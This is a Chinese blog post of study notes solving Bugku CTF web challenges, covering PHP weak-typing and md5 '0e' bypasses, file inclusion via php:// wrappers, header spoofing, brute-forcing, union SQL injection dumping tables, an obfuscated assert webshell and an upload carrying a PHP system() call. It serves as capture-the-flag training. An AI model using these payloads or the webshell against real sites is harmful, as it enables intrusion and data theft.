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前言

开始做Bugku的web部分，记录下知识点和做题方法，以便之后复习

一、web2 随机数字运算验证码

尝试输入答案，只能输一位进去，猜测有长度限制，F12打开看源码，果然

改一下maxlength再输入答案即可得到flag

二、web3 $_GET
$what=$_GET['what'];//读取参数what，把值存到变量what里
echo $what;     //输出
if($what=='flag')//如果值是flag
echo 'flag{****}';//打印flag

这道题就是让我们通过url传入what的值，让其等于flag，构造url
payload:?what=flag

flag不是打印出来的一长串，真的flag是flag{1c…}

三、web4 $_post
$what=$_POST['what']; //接受post过来的参数what，存到what里
echo $what;     //打印
if($what=='flag')     //如果值是flag
echo 'flag{****}';//    打印flag



直接用hackbar（注意：复制flag容易多复制一个空格）

四、web5 矛盾
$num=$_GET['num']; //获取参数num
if(!is_numeric($num))// 如果num不是数字
{
echo $num;
if($num==1)　　　　//如果num是数字1
echo 'flag{**********}'; //打印flag
}

    0x01知识点

- is_numeric()函数判断参数是否为数字的函数

很明显题目中要打印出flag,要参数num不是数字，但是要为1，很矛盾
第二个if判断语句，== 是弱类型比较，等号两边的类型不同会转为相同类型进行比较。与之对应是强类型比较,三个=。

- 弱类型

php中有两种比较的符号 == 和 ===

 <?php
 $a = $b ;
 $a===$b ;
 ?>

=== 在进行比较的时候，会先判断两种字符串的类型是否相等，再比较

== 在进行比较的时候，会先将字符串类型转化成相同，再比较
注：当涉及到比较数字和字符串时，字符串会被转换成数值并且比较按照数值来进行比较



 <?php
 var_dump("admin"==0);  //true
 var_dump("1admin"==1); //true
 var_dump("admin1"==1) //false
 var_dump("admin1"==0) //true
 var_dump("0e123456"=="0e4456789"); //true 0e这类字符串识别为科学技术法的数字，0的无论多少次方都是零，所以相等
 ?>  

    0x02实践

（一）md5绕过(Hash比较缺陷)

 <?php
  if (isset($_GET['Username']) && isset($_GET['password'])) {
      $logined = true;
      $Username = $_GET['Username'];
      $password = $_GET['password'];
  
       if (!ctype_alpha($Username)) {$logined = false;}
       if (!is_numeric($password) ) {$logined = false;}
       if (md5($Username) != md5($password)) {$logined = false;}
       if ($logined){
     echo "successful";
       }else{
            echo "login failed!";
         }
     }
 ?>    

题目大意是要输入一个字符串和数字类型，并且他们的md5值相等，就可以成功执行下一步语句

一些md5开头是0e的字符串：

QNKCDZO
0e830400451993494058024219903391

s878926199a
0e545993274517709034328855841020
  
s155964671a
0e342768416822451524974117254469
  
s214587387a
0e848240448830537924465865611904
  
s214587387a
0e848240448830537924465865611904
  
s878926199a
0e545993274517709034328855841020
  
s1091221200a
0e940624217856561557816327384675
  
s1885207154a
0e509367213418206700842008763514

md5(‘240610708’) == md5(‘QNKCDZO’)成功绕过!



该题构造url:?num=1’

五、web6 flag就在这里

启动场景，一直点击确定，发现页面只会有两个弹框，F12查看源码，

发现一串奇怪的字符，猜测是unicode编码，扔到转换器，解出flag

六、web7 你必须让他停下

启动场景，页面一直刷新，图片也显示不出来，看了人家的wp，
打开burp,抓包，发送到repeter,go3次左右flag就会出来

七、web11 webshell



御剑扫描发现一个shell.php，

burp爆破

使用burp自带的字典就行,爆出密码即可得flag

八、web12 本地管理员

打开发现有一串nnn，看下源码



发现一串被注释掉的字符串，猜测base64编码，解码后是test123，应该是密码。尝试用admin/test123登陆，IP被禁了

应该就不是爆用户名和密码的问题了

又题目描述本地管理员，联系本地管理员登陆，burp抓包伪造XFF头



go一下就得到flag啦

九、web8 文件包含

<?php
    include "flag.php"; //flag在flag.php里
    $a = @$_REQUEST['hello'];
    eval( "var_dump($a);");
    show_source(__FILE__);
?>

    0x01知识点

$_REQUEST[]支持det、post两种方式发送过来的请求，很明显接收了hello参数的值

var_dump()函数 显示关于一个或多个表达式的结构信息，包括表达式的类型与值；数组将递归展开值，通过缩进显示其结
构

eval()函数把字符串按照 PHP 代码来计算。该字符串必须是合法的 PHP 代码，且必须以分号结尾。

show_source() 函数对文件进行语法高亮显示,是 highlight_file() 的别名

构造url：?hello=show_source(‘flag.php’)

flag是too young too simple(当然不是)手动滑稽

十、web9 全局变量中的flag
flag In the variable ! <?php  

error_reporting(0);  //关闭所有php报错
include "flag1.php";  //包含flag1.php文件代码
highlight_file(__file__);
if(isset($_GET['args'])){   //get方式传递args变量执行if里面的代码
    $args = $_GET['args'];
    if(!preg_match("/ \̂w+$/",$args)){ //正则表达式"/ \̂w+$/"，匹配字符串，\w表示字符+数字+下划线{ a-z,A-Z,_,0-9 }。
        die("args error!");//如果不匹配会输出 ‘’args error!‘’\
    }
    eval("var_dump($$args);");
}
?>

    0x01知识点

        0x00 什么是可变变量

可变变量是一种独特的变量，它允许动态改变一个变量名称。其原理是变量的名称由另外一个变量的值来确定，即一个可变变量

获取了一个普通变量的值作为这个可变变量的变量名，实现过程是在变量前面多加美元符号 “$”。
        0x01 代码示例



<?php

  $Bar = "a";
  $Foo = "Bar";
  $World = "Foo";
  $Hello = "World";
  $a = "Hello";

  $a; //Returns Hello
  $$a; //Returns World
  $$$a; //Returns Foo
  $$$$a; //Returns Bar
  $$$$$a; //Returns a

  $$$$$$a; //Returns Hello
  $$$$$$$a; //Returns World

?>

两个 /``/  表明正则表达式的开始与结束， ^开始字符， $结束字符， +代表可以有一个或多个 \w。

测试php的全局变量，将其变量名传入，给变量传一个全局数组变量。本题构造url:?args=GLOBALS

十一、web10 头等舱

好家伙，果然什么都没有。查看源代码，也什么都没有。既然是头等舱，那就看看“头”，在network里查看header,浏览即发现flag

十二、web13 看看源代码



随便输入一个1,submit,提示再好好看看，查看源代码

发现一串奇怪的js代码，猜测url编码，

url解码后：

var p1 = 'function checkSubmit(){var a=document.getElementById("password");if("undefined"!=typeof a){if("67d709b2b';
var p2 = 'aa648cf6e87a7114f1"==a.value)return!0;alert("Error");a.focus();return!1}}document.getElementById("levelQuest").οnsubmit=checkS
ubmit;';
eval(unescape(p1)   unescape('54aa2'   p2));

代码拼接：

function checkSubmit(){
    var a=document.getElementById("password");
    if("undefined"!=typeof a){
        if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)
            return!0;
        alert("Error");
        a.focus();
        return!1
    }
}
document.getElementById("levelQuest").onsubmit=checkSubmit;

根据代码的提示，我们将67d709b2b54aa2aa648cf6e87a7114f1填入框中，得到flag

十三、web14 flag在index里

文件包含漏洞+php伪协议

php://filter 该伪协议可以读取php文件代码以base64编码输出，比如说我们想读取一个php文件但是不想让它正常php执行代码后的结果，
我们想要这个php文件的代码的时候就可以使用这个伪协议。

使用方法：php://filter/read=convert.base64-encode/resource=需要读取源码的文件名

① file=php://filter/read=convert.base64-encode/resource=index.php的含义

       首先这是一个file关键字的get参数传递



       php://是一种协议名称

       php://filter/是一种访问本地文件的协议

       /read=convert.base64-encode/表示读取的方式是base64编码后

       resource=index.php表示目标文件为index.php

本题中构造url后得到一串base64编码的字符串：

77u/PGh0bWw+DQogICAgPHRpdGxlPkJ1Z2t1LXdlYjwvdGl0bGU+DQogICAgDQo8P3BocA0KCWVycm9yX3JlcG9ydGluZygwKTsNCglpZighJF9
HRVRbZmlsZV0pe2VjaG8gJzxhIGhyZWY9Ii4vaW5kZXgucGhwP2ZpbGU9c2hvdy5waHAiPmNsaWNrIG1lPyBubzwvYT4nO30NCgkkZmlsZT0kX0d
FVFsnZmlsZSddOw0KCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc
3RyKCRmaWxlLCJkYXRhIikpew0KCQllY2hvICJPaCBubyEiOw0KCQlleGl0KCk7DQoJfQ0KCWluY2x1ZGUoJGZpbGUpOyANCi8vZmxhZzpmbGFn
e2I4ZDI0MDc0YmM5MTk5NmI3MGJiMWZiMmE3NTdjM2E5fQ0KPz4NCjwvaHRtbD4NCg==

base64解码后：

<html>
    <title>Bugku-web</title>
    
<?php
 error_reporting(0);
 if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
 $file=$_GET['file'];
 if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
  echo "Oh no!";
  exit();
 }
 include($file); 
//flag:flag{b8d24074bc91996b70bb1fb2a757c3a9}
?>
</html>

十四、web15 好像需要密码



点进去一看，要爆破5位数的密码，直接上burp

用burp自带的字典，这样设置之后，提示payload=0。其实这里是一个burp的bug，直接这样选择payload无法生成加载出来。我
们先点击Hex，再点击回Decimal就好了

爆出来密码是12468，输入密码即可得flag

十五、web16 备份是个好习惯

常用备份文件后缀：.swp，.bak
御剑扫描，发现index.php.bak文件，下载下来



<?php
/**
 * Created by PhpStorm.
 * User: Norse
 * Date: 2017/8/6
 * Time: 20:22
*/

include_once "flag.php"; //包含flag.php
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');//设变量str的值为url中?后面的字符串
$str = substr($str,1);//设str为str中第一位开始后的字符串
$str = str_replace('key','',$str);//把str中的key替换成空
parse_str($str);//把str中的字符串解析为变量
echo md5($key1);//输出md5加密的key1
echo md5($key2);//输出md5加密的key2
if(md5($key1) == md5($key2) && $key1 !== $key2){
    echo $flag."取得flag";
}
?>

要key1和key2加密后的md5值相等，但是key1和key2不相等，想到md5绕过-------传md5值是0e开头的字符串
构造url:?key1=QNKCDZO&key2=s878926199a,页面并没有弹出flag
正确的payload:?kkeyey1=QNKCDZO&kkeyey2=s878926199a

用kkeyey而不用key的原因：

$str = str_replace('key','',$str);即当我们传入的参数带有key就会被替换为空，所以这里双写kkeyey来绕过，这样kkey ey即使key替
换成空了一头一尾拼起来还是key

十六、web20 Cookies欺骗

这道题url很有意思，文件名是经过base64编码的，解码a2v…后是keys.txt,尝试输出keys.txt的第10行，没有输出。。fine，题目
给的一串字符串应该是keys.txt里的，具体多少行就不知道了。试下输出index.php的第10行（为什么是第10行呢，我随便输的
hhh）记得将index.php编码

/index.php?line=10&filename=aW5kZXgucGhw //index.php base64编码=aW5kZXgucGhw

运气up

第10行正好有cookie关键字，猜测要把cookie的值改成margin=margin。
用大佬的脚本跑一下，把index.php所有内容跑出来看看



import requests
import base64
str2 = base64.b64encode('index.php')
a=30
for i in range(a):
    url="http://http://114.67.246.176:16371/index.php?line="+str(i)+"&filename="+str2 
    s=requests.get(url)
    print s.text

index.php的内容：

<?php
 
 error_reporting(0);
 
 $file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
 
 $line=isset($_GET['line'])?intval($_GET['line']):0;
 
 if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
 
 $file_list = array(
 
 '0' =>'keys.txt',
 '1' =>'index.php',
 
 );
 if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
 $file_list[2]='keys.php';
 }
 if(in_array($file, $file_list)){
 $fa = file($file);
 echo $fa[$line];
 }
 ?>

访问keys.php,keys.php 进行base64 编码a2V5cy5waHA=



十七、web21 never give up
view-source:http://114.67.246.176:15306/1p.html

<script>window.location.href='http://www.bugku.com';</script> 
<!--JTIyJTNCaWYoISUyNF9HRVQlNUInaWQnJTVEKSUwQSU3QiUwQSUwOWhlYWRlcignTG9jYXRpb24lM0ElMjBoZWxsby5waHAlM0ZpZCUzRD
EnKSUzQiUwQSUwOWV4aXQoKSUzQiUwQSU3RCUwQSUyNGlkJTNEJTI0X0dFVCU1QidpZCclNUQlM0IlMEElMjRhJTNEJTI0X0dFVCU1QidhJyU
1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJ2InJTVEJTNCJTBBaWYoc3RyaXBvcyglMjRhJTJDJy4nKSklMEElN0IlMEElMDllY2hvJTIwJ25vJTIwbm8
lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJyUzQiUwQSUwOXJldHVybiUyMCUzQiUwQSU3RCUwQSUyNGRhdGElMjAlM0QlMjAlNDBmaWxlX2dldF
9jb250ZW50cyglMjRhJTJDJ3InKSUzQiUwQWlmKCUyNGRhdGElM0QlM0QlMjJidWdrdSUyMGlzJTIwYSUyMG5pY2UlMjBwbGF0ZWZvcm0hJTIyJTI
wYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuKCUyNGIpJTNFNSUyMGFuZCUyMGVyZWdpKCUyMjExMSUyMi5zdWJzdHIoJTI0YiUy
QzAlMkMxKSUyQyUyMjExMTQlMjIpJTIwYW5kJTIwc3Vic3RyKCUyNGIlMkMwJTJDMSkhJTNENCklMEElN0IlMEElMDklMjRmbGFnJTIwJTNEJTIwJTI
yZmxhZyU3QioqKioqKioqKioqJTdEJTIyJTBBJTdEJTBBZWxzZSUwQSU3QiUwQSUwOXByaW50JTIwJTIybmV2ZXIlMjBuZXZlciUyMG5ldmVyJTIwZ2l
2ZSUyMHVwJTIwISEhJTIyJTNCJTBBJTdEJTBBJTBBJTBBJTNGJTNF-->

base64解码：

%22%3Bif(!%24_GET%5B'id'%5D)%0A%7B%0A%09header('Location%3A%20hello.php%3Fid%3D1')%3B%0A%09exit()%3B%0A%7D%0A%
24id%3D%24_GET%5B'id'%5D%3B%0A%24a%3D%24_GET%5B'a'%5D%3B%0A%24b%3D%24_GET%5B'b'%5D%3B%0Aif(stripos(%24a%2
C'.'))%0A%7B%0A%09echo%20'no%20no%20no%20no%20no%20no%20no'%3B%0A%09return%20%3B%0A%7D%0A%24data%20%3D%2
0%40file_get_contents(%24a%2C'r')%3B%0Aif(%24data%3D%3D%22bugku%20is%20a%20nice%20plateform!%22%20and%20%24id%3D%
3D0%20and%20strlen(%24b)%3E5%20and%20eregi(%22111%22.substr(%24b%2C0%2C1)%2C%221114%22)%20and%20substr(%24b%2
C0%2C1)!%3D4)%0A%7B%0A%09%24flag%20%3D%20%22flag%7B***********%7D%22%0A%7D%0Aelse%0A%7B%0A%09print%20%22nev
er%20never%20never%20give%20up%20!!!%22%3B%0A%7D%0A%0A%0A%3F%3E

url解码:

<script>window.location.href='http://www.bugku.com';</script> 
<!--
";if(!$_GET['id'])
{
 header('Location: hello.php?id=1');
 exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
 echo 'no no no no no no no';
 return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
 $flag = "flag{***********}"
}
else
{
 print "never never never give up !!!";
}

?>-->

id==0与if(!GET(‘id’)矛盾，用id=0e123456绕过



用$a=php://input通过php伪协议去绕过file_get_contents
b的长度大于5,eregi(“111”.substr(b,0,1),“1114”)这个函数是b的正则匹配 substr(b,0,1)!=4这个说明 $b=*123456

构造url:？id=0e123456&a=php://input&b=*123456

十八、web22 过狗一句话

本题：php scandir()函数、assert代码执行漏洞

<?php 
  $poc="a#s#s#e#r#t";
  $poc_1=explode("#",$poc);   
  //explode("#",$poc);将$poc以#为分界符号分为数组
  $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];  
  // 这句就相当于$poc_2=assert
  $poc_2($_GET['s'])
  //相当于assert($_GET['s'])
 ?>

php中读取目录文件：

scandir() //作用能扫描文件夹下的目录和文件，返回值为所有文件名组成的一个数组
show_source() //显示文件源码
highlight_file() //和show_source()函数是一个意思

b开头不能为4，所以令



构造url:?s=print_r(scandir(’./’))

然后访问flag…txt文件即可

十九、web17 学生成绩查询

id=1时，可以查询到成绩 id=1’ 为空
id=1’ and 1=1 # 与 id=1’ and 1=2 #
结果不同，由此判读可能存在sql注入

1、尝试获取列数
id=1’ order by 4 #，正常回显， id=1’ order by 5 #，异常，由此判断有4列

2、union联合查询
id=-1’ union select 1,2,3,4#，正常显示，说明存在这四列数据



3、爆库名、用户和版本
id=-1’ union select 1234,database(),user(),version() #

数据库为skctf
4、爆表名
id=-1’ union select 1234,(select group_concat(table_name)
from information_schema.tables where table_schema=database()),user(),version()#

表名：fl4g、sc

5、爆字段
id=-1’ union select 1234, (select
group_concat(column_name) from information_schema.columns where table_name=‘fl4g’),user(),version() #

字段名：skctf_flag

6、爆数据
id=-1’ union select 1234, (select skctf_flag from fl4g),user(),version()#

得到flag

二十、web18 秋名山车神



二十一、web23 字符？正则？

<?php 
highlight_file('2.php');
$key='flag{********************************}';
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IM ){ 
  die('key is: '.$key);
}

preg_match("/key.*key.{4,7}key:/./(.*key)[a-z][[:punct:]]/i", trim($_GET[“id”])：

构造url: ?id=keyabckeyabcdkey:/a/abckeya~

二十二、web24 前女友



F12看下源码，有一个指向cdoe.txt的链接

访问code.txt,得到如下代码：

<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];
    $v3 = $_GET['v3'];
    if($v1 != $v2 && md5($v1) == md5($v2)){
        if(!strcmp($v3, $flag)){
            echo $flag;
        }
    }
}
?>

很明显 $v1和 $v2是md5碰撞

 if(!strcmp($v3, $flag)){
            echo $flag;//$v3与$flag一样才会输出$flag
        }



利用php弱类型中的一种——strcmp漏洞
我们传入一个数组就可以绕过了

因此构造：?v1=QNKCDZO&v2=s878926199a&v3[]=1

二十三、web25 SQL约束攻击

hint:sql约束攻击

约束SQL注入的原理就是利用的约束条件，比如最长只能有15个字符的话，如果你输入的是abcdefghijklmnop(16位），那么保
存在数据库里的就是abcdefghijklmno，那么别人用abcdefghijklmno注册一个用户名，就可以登陆。
还有一个可以利用的地方就是SQL在执行字符串处理的时候是会自动修剪掉尾部的空白符的，也就是说" abc"==" abc “，同样我
们可以通过注册用户名为” abc “的账号来登陆” abc"的账号。



于是试着用" admin "注册了一个账号，密码123ABc,返回登陆"admin "账号，然后就看到了flag~

二十四、web25 are you from google?

burp伪造请求头即可

二十五、web27 md5 collision



a是以get方式提交的，随便找一个0e开头的，构造url即可得到flag

二十六、web28 请从本地访问

burp抓包，在头部加一个X-Forwarded-For，值为127.0.0.1

二十七、web29 各种绕过

<?php
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) {
    if ($_GET['uname'] == $_POST['passwd'])

        print 'passwd can not be uname.';

    else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))

        die('Flag: '.$flag);

    else

        print 'sorry!';
}
?>

要得到flag,就要让uname的sha1和值与passwd的sha1的值相等，但uname和passwd又不能相等，其次还要id=margin

1、get方式提交 uname 和 id，post方式提交 passwd
2、把 uname 和 passwd定义成数组，数组的哈希值相同
3、url传入时，令id=margin



二十八、web30 txt???
<?php
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
//file_get_contents() 将整个文件返回一个字符串
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>

访问flag.txt得到bugku,题目要求ac==f时，输出flag,

所以构造url:?ac=bugku&fn=flag.txt

二十九、web34 文件包含



点进去查看源码：

发现upload.php，访问，可以上传图片

将以下代码写入记事本，后缀改为.jpg，上传

<script language=php>system("find / -name flag*");</script>

上传成功，访问上传的图片，看到/flag文件

访问/flag文件得到flag

三十、web34 文件上传

三十一、web31 好像需要管理员



御剑扫描一下后台，发现robots.txt，访问



提示/resusl.php，继续访问，发现要传入一个参数x，并且x的值是要等于password，采用burp爆破

得到密码是admin,其实题目好像需要管理员，这里就可以猜到x=admin

三十二、web35 点了login没反应



查看源码，发现一个admin.css，访问

提示传参？6529,访问：

得到如下代码：



<?php
error_reporting(0);
$KEY='ctf.bugku.com';
include_once("flag.php");
$cookie = $_COOKIE['BUGKU'];
if(isset($_GET['6529'])){
    show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY")
{   
    echo "$flag";
}
else {
?>

unserialize( $cookie ) === “ $KEY ” 两边序列化即有 $cookie  = serialize("$KEY")

burp添加cookie:

三十三、web35



总结

暂时更这么多，有时间把社工的题做了写上来，感觉很有意思
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